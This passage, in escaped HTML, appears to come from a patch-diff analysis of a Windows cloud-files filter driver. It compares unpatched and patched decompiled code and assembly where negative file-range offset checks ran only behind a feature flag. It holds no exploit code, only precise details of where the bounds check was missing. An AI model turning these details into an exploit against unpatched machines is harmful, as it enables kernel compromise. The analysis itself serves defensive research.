&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v79&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// fallthrough: signed cmp only&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InformationFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;//   negative v79 is NOT caught&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// proceeds with unchecked negative/oversized offset:&lt;/span&gt;
&lt;span class="n"&gt;v39&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v79&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;// alignment math -&amp;gt; size for HsmiMarkFileRangeNoLock&lt;/span&gt;
&lt;span class="n"&gt;HsmiMarkFileRangeNoLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4256u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v78&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="n"&gt;FltFsControlFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x980C8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*FSCTL_SET_ZERO_DATA*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;InputBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED (0x1C007A290) =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v82&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v82&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// *** UNCONDITIONAL ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InformationFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// reject any out-of-range offset&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// proceeds only with a valid in-range offset&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding B - &lt;code&gt;CldiPortProcessTransfer&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED (0x1C0062258) =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// feature not enabled -&amp;gt; AND is false&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7FFFFFFFFFFFFFFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// reject branch skipped&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// reject&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// proceeds to the 0x101-0x106 transfer handlers with v16 / v26&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7FFFFFFFFFFFFFFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// always checked&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding C - &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED (0x1C007BD14) =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// AND -&amp;gt; check skipped&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// negative-offset error handling&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;HsmiMarkFileRangeNoLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4244u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED (0x1C007BCA4) =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// negative-offset error handling&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding A - &lt;code&gt;HsmiOpDehydrateNotificationCallback&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Unpatched (&lt;code&gt;0x1C007A2A0&lt;/code&gt;), the gated check:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A831&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A836&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A838&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C007A897&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; feature not enabled -&amp;gt; skip strict check&lt;/span&gt;
&lt;span class="c1"&gt;; --- strict check reached only when feature enabled ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A83A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_B8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; reload range offset (Parameters+0x10)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A83E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A841&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C007A84C&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; offset &amp;lt; 0 -&amp;gt; reject&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A843&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; offset vs stream size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A846&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jle&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C007A8E8&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; offset &amp;lt;= size -&amp;gt; proceed&lt;/span&gt;
&lt;span class="c1"&gt;; --- fallthrough when feature not enabled ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A897&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_B8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; offset vs stream size only&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A89B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jle&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C007A8E8&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; signed: negative offset proceeds&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A89D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000CF0Bh&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; reject only when offset &amp;gt; size&lt;/span&gt;
&lt;span class="c1"&gt;; --- downstream use of an unchecked offset ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007AB2A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;HsmiMarkFileRangeNoLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007ADF0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_FltFsControlFile&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; FSCTL 0x980C8 (SET_ZERO_DATA)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;0x1C007A290&lt;/code&gt;) replaces the gate with an unconditional check:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A824&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A827&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C007AEB2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; offset &amp;lt; 0 -&amp;gt; error (unconditional)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A82D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; offset vs stream size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007A830&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jg&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C007AEB2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; offset &amp;gt; size -&amp;gt; error (unconditional)&lt;/span&gt;
&lt;span class="c1"&gt;; error path at 0x1C007AEB2: mov ebx, 0C000CF0Bh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding B - &lt;code&gt;CldiPortProcessTransfer&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Unpatched (&lt;code&gt;0x1C0062258&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062477&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006247C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006247E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0062520&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; feature not enabled -&amp;gt; skip check, go to dispatch&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062484&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062487&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00624AA&lt;/span&gt;
